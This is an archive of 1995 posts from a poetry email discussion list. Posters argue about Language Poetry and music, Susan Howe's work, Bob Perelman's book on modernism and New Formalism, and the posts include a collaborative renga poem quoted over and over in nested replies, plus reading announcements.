> *All melded like striated film leftover in the pastel seeds of*
> *darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently*
> *soft*
> *fruit*
> *of subject's object status, violent transformation*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
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> *shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *other than prints, trace free of cloth, slow memory night*
> *with customs planted in them to retract what almost fastens onto*
> *the unhinged wing of night's stern and contracted falsity*
> *as blessed glass retracts whatever mule the heart*
> *beats. In the ensuing silence, her eyes turn from white space*
> *to tapioca, from brown space to hot chocolate, from Republican to*
> *angel steeped in angelology deeper than rilke's or blake's, by virtue of*
> *Donald Turnipseed's decision to pull out onto that highway just then and*

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699. **Ron Silliman**

Re: Language Poetry and Music

Wed 23 Aug 1995

Tom Kirby-Smith writes:

I was wondering if there is
>any musical tradition, and composer, any kind of music that one can
>connect with Language Poetry.
>

Speaking only for myself, the world music scene (most notably balinese gamelan and the group choral Ketjak), early Reich (the tape loops through Drumming--absolutely not the later ornamentalism), Steve Lacy, Anthony Braxton, ROVA, Woodie Guthrie, Delta blues, and Bob Dylan (I've heard both Barrett Watten and Charles Bernstein, who in general agree on very little, make passionate arguments for the formative influence of Dylan on themselves and generally on many of the LPs). Romeo Void used to come to readings out in SF and folks like John Zorn have actively influenced Bruce Andrews. Bernstein as I recall has a great collection of Brecht/Weill recordings....(And I would dearly love to get an LP or cassette again of any Harry Partch, especially the hobo tunes--Partch's instrumentation has always seemed a real model for me on how to proceed).

Ron Silliman

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700. **Ron Silliman**
Re: Howe Now, Brown Formalist (and Bob Perelman too)
Wed 23 Aug 1995

Alan Golding wrote, in one of the best posts I've ever had the pleasure to read:

I'm surprised that someone who's always been so attuned to the social components of writing, reading, and reception as you have should use as the basis of your critique what sounds like a dismissal of or skepticism toward those same social components. Perhaps I'm misunderstanding something in your comments. Also, didn't you once tell me that Susan was the only writer in the Tree who made her own selections of her own work? Was that your choice because of your ambivalence about the work? At her insistence? Inquiring minds, etc. Or at least mine does.
>

My sense is that Susan "uses" the spiritual the way certain identarian poets use their identity (and the way some of the doggeral Stalinists of the 30s, viz Cary Nelson's tome, used their class roots), which I in general tend to see as antithetical to the way I would want poetry to engage the world, not leading us to it but rather fending off a deeper questioning.

Several people have mentioned her ear. I must be deaf.

Susan was not the only one to largely or completely dictate their selection in the Tree, tho maybe the only one that I didn't make any counter suggestions to, in good part because I was/am aware that I lack the sympathy to engage a deeper reading. Later she accused me of deliberately sabotaging her in "my" selections. Now that's the Susan I know and love.

Ron Silliman
[redacted]

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701. **Ron Silliman**
Re: Poetry and Music
Wed 23 Aug 1995

Since Rod brought up the influence of Cage on Berrigan, lets remember that terrific list at the end of Padgett's memoir Ted, a complete account of TB's Tulsa record collection still in a sister's attic somewhere. Key figures:
Tommy Dorsey
Andre Previn
Shorty Rogers
Arthur Godfrey
Perry Como
Sarah Vaughan
Vic Damone & Percy Faith
Al Jolson
Frank Sinatra & Nelson Riddle
George Shearing
Nina Simone
The Platters
Marian McPartland
Patti Page

Ron Silliman
[redacted]

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702. **Charles Alexander**
Re: favourite care word: "you"
Wed 23 Aug 1995

On Tue, 22 Aug 1995 20:26:46 -0500,
Maria Damon <[redacted]> wrote:

>In message <[redacted]> UB Poetics discussion group writes:
>> On Tue, 22 Aug 1995 09:26:46 -0500,
>> maria damon <[redacted]> wrote:
>>
>> >In message <[redacted]> UB Poetics discussion
>> > grou
>> p
>> >writes:
>> >> > [D
>> >> >> >>>>>>>> In the books were dreams and in the dreams were books.
>> >> >> >>>>>>>>>> And flew through windows, lightning green and fine morning
>> >> >> >>>>>>>>>> First inverted whistle of a cardinal in the poplar
>> >> >> >>>>>>>>>> The book and the oboe on the grass under sun and cloud
>> >> >> >>>>>>>>>> Go endlessly, an obtuse Prussian blue, it binds
>> >> >> >>>>>>>>>> The caravan of windows to what they flee
>> >> >> >>>>>>>>>> These lace curtains, more gauze than bondage, more
>> >> >> >>>>>>>>>> Mollycoddled than aware, thin-spined and pebbling
>> >> >> >>>>>>>>>> but narrow in the waist or waspish Sunday years ago
>> >> >> >>>>>>>>>> Over coffee topped with whipped cream, the Times blowing
>> >> >> >>>>>>>>>> & opining, heavy humid air, cumulus amusing against the
>> >> >> >>>>>>>>>> bleached ribcage ripcorded into compassed wind
>> >> >> >>>>>>>>>> kissing the weatherwoman between her breasts as she
>> >> >> >>>>>>>>>> gives gracious problem: fanatical snacks, landscape of
>> >> >> >>>>>>>>>> flicka my best friend and the storm in the glass of water's
>> >> >> >>>>>>>>>> halfway pertinent incision we keep making safe for ignorance
>> >> >> >>>>>>>>>> (inspection
>> >> >> >>>>>>>>>> denied for not knowing how credenza was meant) &
>> > > > neo-colonizing
>> >> >> >>>>>>>>>> pockets in small furniture intended house sequentially

>> > > > several
>> >> >> >>>>>>>>>> mountains away but it wasn't, you know, a big tango
>> >> >> >>>>>>>>>> when the attorney general came, selah hales said, "Dias,
>> > > > oh,ho,
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>> >> >> >>>>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> >> >> >>>>>>>>>> warehouse, curls
>> >> >> >>>>>>>>>> no ideas but the woven fabric the texture so to speak was at
>> >> > > the
>> >> >dry
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>> >> >> >>>>>>>>>> piping hot and gloved-in somewhere unsalted, perched on
>> >> >prescience
>> >> >> >>>>>>>>>> the chair is sad, alas, and i've lusted tootles' livers
>> >> >> >>>>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter
>> > > > chose
>> >> >> encore
>> >> >> >>>>>>>>>> Flaubert because we're waiting all throughout eternity for
>> >> >moments
>> >> >> >>to be
>> >> >> >>>>>>>>>> of such suchness. In the nooks were creams and in the
>> > > > streams
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>> >> >> >>>.
>> >> >> >>>>>>>>>> All melded like striated film leftover in the pastel seeds
>> > > > of
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>> >> >> >>>>>>>>>> sandpaper juxtaposed with seasoned instruments and recently

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>> >> >and silos yield rainbows. Combines circle the outlying
>> >> premises as substantive as crayons now confused with thought
>> >whose rainbows rival cosmic immensities to the tune of
>> I'm not biting on this, Maria, no matter how you sing it
>oy, i get reprimanded in public for my lines, my worst POETICS nightmare
is on hold, would you care to dance while we're waiting, save me

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703. Charles Alexander
Re: Howe Now, Brown Formalist (and Bob Perelman too)
Wed 23 Aug 1995

"Several people have mentioned her ear. I must be deaf." -- says Ron.

As I read you, and your comments on others, Ron, I think that there's no possibility of your being deaf. That doesn't mean, however, that any of us can hear all musics.

charles alexander

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704. Michael Boughn
Re: Howe Now, Brown Formalist (and Bob Perelman too)
Wed 23 Aug 1995

Well, there is this Susan Howe:

Hear earth born old
hush

no name or mane but nick
in time

and clock
a foil for future

marching
Marching

to Pale
with face for fool

thrumming
'Hollow hollow holds all'

Faintly the scene is played
softly

snow spread on sound

skin pebbles in secret also

You may not like this music, but how get around the fact of it?

As for the criticism of her so-called "spirituality", this seems to me little more than the expression of difference from those whose "politcality" equally could be seen to constitutue an obfuscation of an approach to "the world." A chaque son gout . . .

Best,
Mike
[redacted]

↑ Index

705. **maria damon**
Re: Howe Now, Brown Formalist (and Bob Perelman too)
Wed 23 Aug 1995

---

ron s writes:
> >
>
> My sense is that Susan "uses" the spiritual the way certain identarian
> poets use their identity (and the way some of the doggeral Stalinists
> of the 30s, viz Cary Nelson's tome, used their class roots), which I in
> general tend to see as antithetical to the way I would want poetry to
> engage the world, not leading us to it but rather fending off a deeper

> questioning.
>

ouch. while i like the idea of poetry leading us to a deeper questioning beyond first identitarian blush, the phrase "doggerel stalinists" is so contemptuous that i feel my own work indicted. personally, i love doggerel, as did g stein (i'm not putting myself on her level, but citing her for legitimacy). i find it touching. how do you know that those writers of "inferior verse" (as the dictionary defines d.) don't experience themselves to be struggling, searching, saying something that has never been said, engaged in a deeper questioning...--md

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706. maria damon

Re: favourite care word: "you"

Wed 23 Aug 1995

In message <[redacted]> UB Poetics discussion group writes:
> On Tue, 22 Aug 1995 20:26:46 -0500,
> Maria Damon <[redacted]> wrote:
>
> >In message <[redacted]> UB Poetics discussion group
> > writes:
> >> On Tue, 22 Aug 1995 09:26:46 -0500,
> >> maria damon <[redacted]> wrote:
> >>
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> >> >> >> >>>>>>>>>> & opining, heavy humid air, cumulus amusing against the
> >> >> >> >>>>>>>>>> bleached ribcage ripcorded into compassed wind
> >> >> >> >>>>>>>>>> kissing the weatherwoman between her breasts as she
> >> >> >> >>>>>>>>>> gives gracious problem: fanatical snacks, landscape of
> >> >> >> >>>>>>>>>> flicka my best friend and the storm in the glass of
> > > > > water's
> >> >> >> >>>>>>>>>> halfway pertinent incision we keep making safe for
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> >> >> >> >>>>>>>>>> pockets in small furniture intended house sequentially
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> >> >> >> >>>>>>>>>> when the attorney general came, selah hales said, "Dias,
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> >> > > > chose
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> >> >> >> >>>>>>>>>> Flaubert because we're waiting all throughout eternity
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> >> >> >> >>to be
> >> >> >> >>>>>>>>>> of such suchness. In the nooks were creams and in the
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> >> >> >> >>hooks
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> >> >> >and silos yield rainbows. Combines circle the outlying
> >> >> premises as substantive as crayons now confused with thought
> >> >whose rainbows rival cosmic immensities to the tune of
> >> I'm not biting on this, Maria, no matter how you sing it
> >oy, i get reprimanded in public for my lines, my worst POETICS nightmare
> is on hold, would you care to dance while we're waiting, save me
that last sonnet please, of forgotten wisteria sestina forsythia

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707. Herb Levy
Seattle readings Fall '95
Wed 23 Aug 1995

Here's the schedule for the new, now monthly, Subtext reading series.

September 21
Stacey Levine & Peter Culley

October 19
John Olson & Stacy Doris

November 16
Joseph Donahue & Melissa Wolsak

December 14
Ezra Mark & Deanna Ferguson

All readings are Thursdays, at 7:30 pm. The Speakeasy Cafe is at 2304 2nd Avenue, in Seattle's Belltown district, just north of the Public Market.

The Speakeasy is an internet cafe <http://speakeasy.org>. Soon Subtext'll have a website hanging off of the homepage there, with writing by past, present, and future subtext readers, etc. When the website is set up, I'll post the URL to the list.

As some of you know, Subtext has been presenting short series of (primarily Northwest) writers in the, uh, "experimental" tradition, for a few years. It's been re-organized, with a few more people involved, and the plan is to continue

readings on a monthly basis. The series above was primarily curated by Robert Mittenthal.

Some time after Sept 1, we'll start scheduling readings for January through April of 1996. The lead curator for this next series will be Ezra Mark.

If there are any writers on the list who are or will be in the area during this time who are looking for a reading, please let me know via email or at POB 95744, Seattle, WA 98145. Our budget is _very_ modest (but we do have one now), so if someone needs a fill-in date out west, something might work out.

It's unlikely to be enough of a (financial) incentive for anyone from more than a couple of hundred miles or so to make a special trip to Seattle, but hey, isn't every trip to Seattle special?

Or something.

Bests

Herb Levy
[redacted]

↑ Index

708. Herb Levy
Value/genius in/with trouble/Poetry
Wed 23 Aug 1995

Marjorie Perloff is, to a large extent, right that Bob Perelman's TwG deals with

> *the terrible dilemma--still ours today--of wanting on the one hand to write a difficult and complex culturally informed poetry and yet speak to a large audience*

but Ron Silliman's assessment of the book as a challenge to taking modernist writers at face value is also right.

Perelman's book is an all-too-rare example of looking at the work and at the writers and not turning into either a apologistic fan or a knee-jerk critic.

Yeah, Kenner & (especially) Davenport are good writers. & yeah, they know more than I ever will about Anglo-American modernist writers or many other things. But they don't seem to have found a satisfactory way to distinguish between the glorious modernist project and the flawed people who wrote the flawed works in the service of this project.

The modernists weren't heroes, their works aren't "masterpieces." They were perhaps the first writers to be "great" because of their ongoing, perhaps incompleteable, projects, rather than their products. If nothing else, their

"failures" at completing their grand projects have made it possible for whatever it is that's going on now (someone else can call it postmodern if they want).

Even most of the more mainstream poets, including some who may still be interested in heroics, seem largely to have given on the idea of a big, big masterpiece.

So when Perloff continues:
> Do we think this problem has been solved?

The answer can only be "Of course not & that's the point."

which is one reason why Perelman's take on "Marginalization of Poetry" is such an appealing idea.

Bests

Herb Levy
[redacted]

↑ Index

709. **Herb Levy**
Kenner & CanLit
Wed 23 Aug 1995

So George (or anyone),

Now that Kenner's written books about British, American, & Irish modernist & late modernist writers is he going to do a Can Lit volume?

Or what's the story?

Herb Levy
[redacted]

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710. **Herb Levy**
Re: Language Poetry and Music
Wed 23 Aug 1995

> *Cage's methods seem too mechanical to me to have had much effect on other people's poetry (besides his own). I was wondering if there is any musical tradition, and composer, any kind of music that one can connect with Language Poetry.*

Actually, some of Cage's compositional processes do make sense in terms of Language Poetry. I'd compare at least some of Ron Silliman's structures for sentences with Cage's late middle pieces (Music for Changes is an example) in which particular time units are filled with sound events with no regard for

musical continuity. This seems to be a rather exact analog of some of the Alphabet sections written a sentence a day or, say, the 21 x 21 grid of Garfield.

Cage's later "time-bracket" pieces, in which a score indicates a larger time frame in which shorter events can occur (for example, a 90-second "bracket" during which a 20-second pitch or chord can be played at any time), give a kind of loose ensemble feel that relates in my mind to Leslie Scalapino's never quite exactly repeating structures.

I've heard people try to make a case for the influence of repetitive pattern music (Reich & Glass) on John Taggart, but to me the repetition in Taggart's work seems more like the use of recurring song form in standard jazz improvisation: the structure is constant but the content shifts.

Several very specific Jackson Mac Low poems (those which converge through various means toward a smaller and smaller vocabulary, ending with the same word filling all the spots) have the same feel of inevitable closure as some of Steve Reich's early phase-shifting pieces, though they are formally quite different.

Clark Coolidge clarifies some of the connections between jazz and the music (especially the long works from the last ten years) of Morton Feldman. All three keep going, at great length, in the face of a very real possibility of failure, and very often are most successful when they include sections in which not much really happens and are, in fact, kind of dull. (One of the most liberating things about jazz is that it's okay to be boring while on the way to something else. Unfortunately, it doesn't always get to that something else, which is why so many people find jazz boring.)

There are "obvious" (& social) correspondences between the collage-style work of Bruce Andrews and John Zorn, not least because they both use often recognizable source types & have cultivated "bad-boy" images. (I don't know if Zorn's voluminous record collection is sorted by the color of the album cover, though.)

There are others, but I'll shut up for now. Years ago, Charles Watts suggested that I write something about connections between new music & new writing that I never got around to. But as I mentioned to him at BlaserCon, I've (obviously) been thinking about it more lately.

Herb Levy

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711. Mark Roberts
AWOL: Five Islands Press Launch
Wed 23 Aug 1995

FIVE ISLANDS PRESS IN ASSOCIATION WITH SCARP MAGAZINE

invites you to the

NEW POETS SERIES 3 BOOK LAUNCH

Saturday 26 August 'Varuna' Katoomba 2pm. To be launched by Peter Bishop, Varuna Writers' Centre

Thursday 31 August Gleebooks, Glebe Point Road, Glebe 7.30pm. To be launched by Neil James, NSW Ministry for the Arts.

Saturday 2 September Victorian Writers' Centre 6pm. To be launched by Ron Pretty Five Island Press.

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712. Herb Levy
Re: Language Poetry and Music
Wed 23 Aug 1995

George Bowering sez:

> *It would seem to make sense that language poetry (some) in its refusal or reluctance to refer, would be akin to music, which looks more naturally to that freedom. But then language poetry's wordiness is not, to the ear that ascribes "music" to the lyric, vert musical at all.*

But then what often has been described as "musical" in verse has simply been lines that don't have any harsh sounds & there's certainly plenty that's literally musical that has those.

Herb Levy
[redacted]

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713. **David Kellogg**
Perelman's forthcoming and recent
Wed 23 Aug 1995

Bob Perelman does seem to be prolific these days! Can anybody provide publication information on his forthcoming critical book(s)? Are there one or two?

As for *The Trouble With Genius*, I want to rephrase -- possibly recast -- some of what I've said earlier. I certainly agree with Marjorie that what's being analyzed is "modernism as a cultural construct" -- but it's also being constructed, too, and at the same time. The question is: whose modernism (now)? The effects of combining Pound/Joyce/Stein/Zukofsky in the manner in which it's undertaken are several.

One effect is what might be called spatial: the book raises the stock, if you will, of Zuk, by making him part of *that* construct rather than another. Of course he's long been linked with Pound, but his overall critical reputation is nowhere near that of Joyce and Pound (if you measure it empirically, by, say, production of critical commentary). (To a lesser degree, it does the same with Stein). By the same token, it lowers the stock of Joyce, by framing him *within* this construct and thus detracting from his often-touted originality. (Ron alluded to this in his slam on Kenner, but I think it's more a function of the book's organization than its particular readings; a different sort of cultural construct is created than the one in *The Pound Era*, where cultural influences are synthesized and transcended by Pound's -- ta da! -- genius.) So the book evens out reputations, as historicizing arguments tend to do. Which is not to say its individual readings aren't pretty amazing.

The temporal effect is somewhat different. The organization of the book *from* Pound *to* Zuk begins to construct a trajectory that will lead, inevitably yet problematically, to language poetry. This is what I was alluding to earlier with comments on LP gaining a pedigree and a certain amount of cultural authority. Therefore the issues are *not* limited to "modernism as a cultural construct" but are deeply contemporary, affecting important conceptions of the authority of current writing practices. This is the first time that I've seen LP linked to Joyce, whose critical stock remains as high as anybody's. (The trajectory to LP is clear in one of the final notes in the book, and also in the opening of the Zukofsky chapter.)

One might say, well, this isn't what Bob's doing, he doesn't care about critical reputations among professors: but I doubt that can hold water. Why publish TTWG with a major university press with a big stake in the New American Poetry and, until Hopkins picked up the ball, Zukofsky as well? A major audience for this book will be academics, many of them modernist scholars. Another will be people interested in contemporary poetry, both in and out of the university. That both of these audiences are desired is apparent on every page of the book, as far as I'm concerned -- and I'm perfectly happy with that.

(BTW, there is at least one other critical book that links Joyce and Zukofsky -- *Writing Joyce: A Semiotics of the Joyce System*, by Lorraine Weir (Indiana UP, 1989). I'm rather surprised this is nowhere cited in TTWG. Not an historical argument, but still...)

Cheers,
David
~~~
~~~

Why must the consideration of a body of work be reduced to a simpleminded bunking or debunking? I didn't sense that that was what either Ron Silliman or Alan Golding had in mind, and I'm grateful for their posts. But if we're all entirely sure of what sucks and what rules, let's swear loyalty oaths and impose a gag order.

Rachel Loden

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715. **Alan Sondheim**

Re: Language Poetry and Music

Wed 23 Aug 1995

How exactly do these people connect with language poetry, beyond the fact that perhaps you like their work?

Alan

On Wed, 23 Aug 1995, Ron Silliman wrote:

> *Tom Kirby-Smith writes:*
>
> *I was wondering if there is*
> *any musical tradition, and composer, any kind of music that one can*
> *connect with Language Poetry.*
>
> *Speaking only for myself, the world music scene (most notably balinese*
> *gamelan and the group choral Ketjak), early Reich (the tape loops*
> *through Drumming--absolutely not the later ornamentalism), Steve Lacy,*
> *Anthony Braxton, ROVA, Woodie Guthrie, Delta blues, and Bob Dylan (I've*
> *heard both Barrett Watten and Charles Bernstein, who in general agree*
> *on very little, make passionate arguments for the formative influence*
> *of Dylan on themselves and generally on many of the LPs). Romeo Void*
> *used to come to readings out in SF and folks like John Zorn have*
> *actively influenced Bruce Andrews. Bernstein as I recall has a great*
> *collection of Brecht/Weill recordings....(And I would dearly love to*
> *get an LP or cassette again of any Harry Partch, especially the hobo*
> *tunes--Partch's instrumentation has always seemed a real model for me*
> *on how to proceed).*
>
> *Ron Silliman*

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716. Chris Stroffolino
Re: Perelman's forthcoming and recent
Wed 23 Aug 1995

Well, David kellogg--what about Beckett---I mean the difference between Joyce and Beckett... It seems that what lately has been called LP (when ron first said it-- "both charles and bob cop to the influence of dylan on many of the lps "---i thought he was referring to the pre CD era) has more affinities with beckett than with Joyce----cs

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717. Chris Stroffolino
Re: Language Poetry and Music
Wed 23 Aug 1995

---

alan sondheim raises a good point----The L poets are roughly contemporaries of bob dylan (minus 4 or 5 years as " "median" age?) but isn't DYLAN more of those GENIUSES they have TROUBLE with--you know, the self-dramatizing "hero" type replete with personal pathos and visionary fervor (though certainly a better singer than GINSBERG) and even, gasp, a willingness to deal with heterosexuality in a more than merely theoretical way than most of, say, the MALE LP's (i mean langpo's)---so maybe there is a question of consistency here-- unless of course we simply disclaim the whole issue by saying Bob Dylan is NOT a poet--therefore the standards one would use to judge susAn howe, etc--are not applicable and so it's okay if he's a "genius" or, worse " a hero"--------chris stroffolino

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718. Alan Sondheim
Text
Wed 23 Aug 1995

If anyone is interested in the work I have been writing on virtual subjectivity/literature/Internet/etc. it is available at

http://jefferson.village.virginia.edu/~spoons/internet_txt.html

and there are numerous accompanying images as

http://www.cs.unca.edu/~davidson/pix/

Alan

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719. **Jordan Davis.**
Re: Howe Now, Brown Formalist (and Bob Perelman too)
Wed 23 Aug 1995

Well, yes, but what about "nick/ in time"--since we're discussing the music--the familiar phrase--but I love "a foil for future"--I love the sound of "marching/Marching" but the capitalization (which is for the eye, yes) is what pleases me about this more than say Clark Coolidge's "trilobite/trilobites"--as far as getting around the fact of it Mr Boughn that sounds like Olson coming through you. There are no facts in poetry.

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720. **Gale Nelson**
Re: How Hear Howe?
Wed 23 Aug 1995

I have heard Susan Howe read on three occasions -- all within the last eight years. Each reading was electrifying. The cadence, the attention to syllable, the fevering (and unfevering) of pitch, diction, the point where the prosaic lines appropriated from (among others) Charles Dickens bleeds into the fragmentary / visually arranged materials -- all of this is spell-binding in memory (and anticipation of another hearing).

Having had the extraordinary pleasure of having worked as editor for Susan's _A Bibliography of the King's Book; or, Eikon Basilike_, I feel a privileged sense of Susan's attention to detail. My trying to duplicate the "look" of her typewritten pages on a typeset-spaced computer system provided us with the challenge of finding _how_ her work could be articulated in a variant of the original that was true to her vision. Trade-offs (what letters must overlap, what angles could shift and to what degree) were discussed, and, finally approved. I cannot read Susan's work without hearing it; and I cannot hear it without envisioning its pagedness. As I have suggested elsewhere, language itself seems refreshed after reading Susan's work.

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721. **Susan Schultz**
(no subject)
Wed 23 Aug 1995

---------- Forwarded message ----------
Date: Wed, 23 Aug 1995 02:57:20 -1000
From: Indepen <[redacted]>

To: Susan Schultz <[redacted]>
Subject: response

I already belong to two discussion lists, and don't have the space for another, but Susan Schultz has forwarded recent posts about good and not-good LP writing, which I was going simply to read without answering. I guess I'll have to say something in order to clear up some misunderstandings. CAP-L is not a discussion list for New Formalists. It is a discussion of contemporary American poetry of whatever stamp. Language poets may subscribe and post. They have before and continue to. I am not a New Formalist, nor would several of those listed in recent posts describe themselves as such. The terms "form" or "forma;" shouldn't be restricted to the use of meter and rhyme, since every poem has form of some kind or another. I have written more poems without meter and rhyme than with; meter and rhyme to me are techniques, useful or not, depending on the poem in question. They are not a faith. Meanwhile, poetry written in meter and rhyme has been written in every decade of this century by important poets--Adrienne Rich, John Ashbery, et al. It isn't new, or for that matter old. I am neither a Puritan nor a father. I did not ask that anyone be sacrificed, let alone Susan Howe, whose poetry I haven't read. Susan Dunn objects to an alleged scapegoating, but in doing so scapegoats CAP-L in general and me in particular. I was interested to hear Ron Silliman's views on Howe, though I wish he had been fuller in his comments; "tepid" doesn't convey much to me, and citing particular texts would have been more useful. I also can't believe that she is the only (*if* she is) bad Language poet. Are there others? And which ones are the very best--and *why*? When Ron Silliman began posting about LP on CAP-L, I and others raised the question of how it was evaluated, what criteria were brought to it in order to decide what was good and what was bad. If we can't be told that, we can never learn what conventions govern the poetry and can never become competent readers of it. If LP is interested in a wider audience, I don't see the point of neglecting to explain its criteria. Some of you are teachers, and if you're good ones, you know that sneering and scapegoating aren't effective as teaching methods. Calm, undefensive, cogent (and exciting) exposition is what works.

Alfred Corn

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722. Tim Waples
Notes of a renga lurker
Wed 23 Aug 1995

Thanks, Susan Dunn, for your comments on Susan Howe's work, and her moment in our critical spotlight, and especially for your thoughts on the renga...which to my ear sounds more like a dance than a poem. It's time to confess, I'm a renga lurker. The lace curtains are still more mollycoddled than aware, and the attorney general and Sir Duke are forever linked in my thoughts. This despite the fact that I'm peering into the renga on a system as backward ("Hey, it still word processes") as Susan's. But I too am finding that the renga is making me think about technology and audience. If I were receiving messages individually from this list, my delete trigger might now be as finely tuned as George Bowering's. But I'm on DIGEST, to save time? More precisely, to avoid the need to log in every four hours to clear my mailbox. The DIGEST, however, does not allow rapid deletings; it actually allows less digesting! As a result, I have to chew my renga 32 times to get to the end and find out if Maria will be okay. (I hope so!) A simpleminded suggestion led to another thought; would the renga-ers be happy with only copying the immediately preceding 3 or 4 lines before adding to the dance? Or could there be some ideology of "wholeness" within the renga -- or within the technology that invites our replies to the list -- that inclines to copying the entire thing each time? I'd prefer to think not, but then again, I'd prefer to be re-acquainted with Ste. Therese a little less frequently. It occurs to me that no bulletin board discussion ever strays too far from the issue of "audience." Perhaps that's only because I prefer the company of people who spend a lot of time thinking about trying to be democratic, or self-conscious, or both. But I am wondering what to make of "audience" and "renga" together.

Tim

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723. Brian W Horihan
Re: Language Poetry and Music
Wed 23 Aug 1995

On Wed, 23 Aug 1995, George Bowering wrote:

> It would seem to make sense that language poetry (some) in its
> refusal or reluctance to refer, would be akin to music, which looks
> more naturally to that freedom. But then language poetry's wordiness
> is not, to the ear that ascribes "music" to the lyric, vert musical
> at all.
>

This is an idea i wanted to talk about a couple months ago with a post that didnt quite stick. As for music that is non-lyric, "non-musical" to the ear George means, what about comparisons to 50s era serialist music (e.g. Babbit, Stockhausen) which is often very academic, too? --brian

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724. H. T. KIRBY-SMITH

N_w F_____m

Wed 23 Aug 1995

I believe that I said, "the movement really has acquired a reactionary following."

I had hoped that before I died that "The Psalm of Life" would disappear from important anthologies of American poetry; one of the untoward effects of N_w F_____m may be that it stays. One of these false hopes, such as wanting outlive Elvis's reputation.

One of the most remarkable things to me about this thing is its usually unacknowledged descent from Yvor Winters and from Winters's closest disciples. Sort of like the Children of Israel fearing to mention the name of Jaweh.

I have never known anyone personally who called itself a N_w F_____t. I have been told of one, but I wouldn't want to libel anyone. I have never seen a copy of that magazine called "The Formalist"--only heard about it the other day, actually.

I wonder if all these people who feel so virtuous writing Villanelles realize that villanelle-writing was really just a continuation of Romantic balladeering, moving on to the Troubadors --just another Gothic Revival medievalizing trend in the late nineteenth century. Nothing classical at all about it. Also, the best villanelles have been written by unabashed Romantics.

Excessive intricacy of form has always been a sign of decadence.

As the Roman Empire fell apart, poet after poet had a fling at either doing one more great thing in the hexameters borrowed from Greek, or else did something really fancy that no one had ever bothered to do before. The great poems of the period are the early hymns, where the language settled back into the vernacular Latin and became accentual. N_w F_____m seems to me somewhat like fifth-century A. D. poetry that went on trying to revive the grandeur of Virgil and Ovid, Horace and Catullus.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

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725. **Alan Sondheim**
Re: Language Poetry and Music
Wed 23 Aug 1995

Or can we say that Dylan seems to have been overtly culturally and politi- cally engaged for most of his life, with a kind of rawness that at least seems antithetical to L?

Alan

On Wed, 23 Aug 1995, Chris Stroffolino wrote:

> *alan sondheim raises a good point----The L poets are roughly contemporaries*
> *of bob dylan (minus 4 or 5 years as*
> " *"median" age?) but isn't DYLAN more of those GENIUSES they have TROUBLE*
> *with--you know, the self-dramatizing "hero" type replete with personal*
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> *GINSBERG) and even, gasp, a willingness to deal with heterosexuality*
> *in a more than merely theoretical way than most of, say, the MALE LP's*
> *(i mean langpo's)---so maybe there is a question of consistency here--*
> *unless of course we simply disclaim the whole issue by saying Bob*
> *Dylan is NOT a poet--therefore the standards one would use to judge*
> *susAn howe, etc--are not applicable and so it's okay if he's a "genius"*
> *or, worse " a hero"--------chris stroffolino*

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726. **David Kellogg**
Re: Perelman's forthcoming and recent
Wed 23 Aug 1995

On Wed, 23 Aug 1995, Chris Stroffolino wrote:

> *Well, David kellogg--what about Beckett---I mean the difference between*
> *Joyce and Beckett...*
> *It seems that what lately has been called LP (when ron first said it--*
> *"both charles and bob cop to the influence of dylan on many of the lps*
> *"---i thought he was referring to the pre CD era) has more affinities*
> *with beckett than with Joyce----cs*

I'm not sure I understand your post. I have no particular desire to link LP with Joyce; neither does Perelman in a direct sense I think -- but to read Joyce with

Zuk and then connect Zuk with LP (natch!) performs a critical and evaluative function which I think is interesting. I don't really care whether it's right, or who's closer. That was never my point.

Cheers,
David
~~~
~~~

Perhaps more seriously, I'm a bit surprised by this part of your post:

> *how it was evaluated, what criteria were brought to*
> *it in order to decide what was good and what was bad. If we can't be told*
> *that, we can never learn what conventions govern the poetry and can never*
> *become competent readers of it.*

I find this amazing, and must say: speak for yourself. Do you really mean that you can't become a competent reader of a poetry that seems strange to you without somebody telling you "what criteria were brought to it in order to decide what was good and what was bad"? You lose the potential to encounter a lot of interesting work this way. I came to language poetry from "outside," too, and found that the best solution to my own "incompetence" was to read a lot of it. Do you really need to settle on an accepted criteria of excellence *before* you read? I prefer to find out as I go.

A more generous reading of your statement is possible, one that basically translates into, if language poetry has no set standards, then no standards are possible. Is there any poetry with such standards, such a "criteria"? I doubt it. Within language poetry, as outside it, such criteria are *contested*, not established. That's in the nature of experimental writing, and also -- I would argue -- with virtually everthing in culture. The criteria that do emerge, here and there, are not so unfamiliar: freshness, surprise, intelligence, interesting sounds, intellectual engagement, dialogue with history, subject matter, -- and yes, who you know, friendliness with the editor, etc. . . . .

Don't mean to be harsh with you, friend, but I think you're either being disingenous or didn't think your post through. There are no set criteria. Nowhere, nohow. Never were.

Cheers,
David
~~~
~~~

728. Michael Boughn
Re: Howe Now, Brown Formalist (and Bob Perelman too)
Wed 23 Aug 1995

> *Well, yes, but what about "nick/ in time"--since we're discussing the music--the familiar phrase--but I love "a foil for future"--I love the sound of "marching/Marching" but the capitalization (which is for the eye, yes) is what pleases me about this more than say Clark Coolidge's "trilobite/trilobites"--as far as getting around the fact of it Mr Boughn that sounds like Olson coming through you. There are no facts in poetry.*

Well, Mr. Davis (lordy lordy we're getting pretty formal around here--the creeping effects of all this formalist discussion?) what is language if it ain't a fact? (and what a trip to have a little Olson come through . . . wow

Mike
[redacted]

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729. maria damon
(no subject)
Wed 23 Aug 1995

In message <[redacted]> UB
Poetics discussion group writes:
> ---------- Forwarded message ----------
> Date: Wed, 23 Aug 1995 02:57:20 -1000
> From: Indepen <[redacted]>
> To: Susan Schultz <[redacted]>
> Subject: response
>
>
> I already belong to two discussion lists, and don't have the space
> for another, but Susan Schultz has forwarded recent posts about good and
> not-good LP writing, which I was going simply to read without answering.
> I guess I'll have to say something in order to clear up some
> misunderstandings.
> CAP-L is not a discussion list for New Formalists. It is a
> discussion of contemporary American poetry of whatever stamp. Language
> poets may subscribe and post. They have before and continue to.
> I am not a New Formalist, nor would several of those listed in
> recent posts describe themselves as such. The terms "form" or "forma;"
> shouldn't be restricted to the use of meter and rhyme, since every poem
> has form of some kind or another. I have written more poems without meter
> and rhyme than with; meter and rhyme to me are techniques, useful or not,

> depending on the poem in question. They are not a faith. Meanwhile,
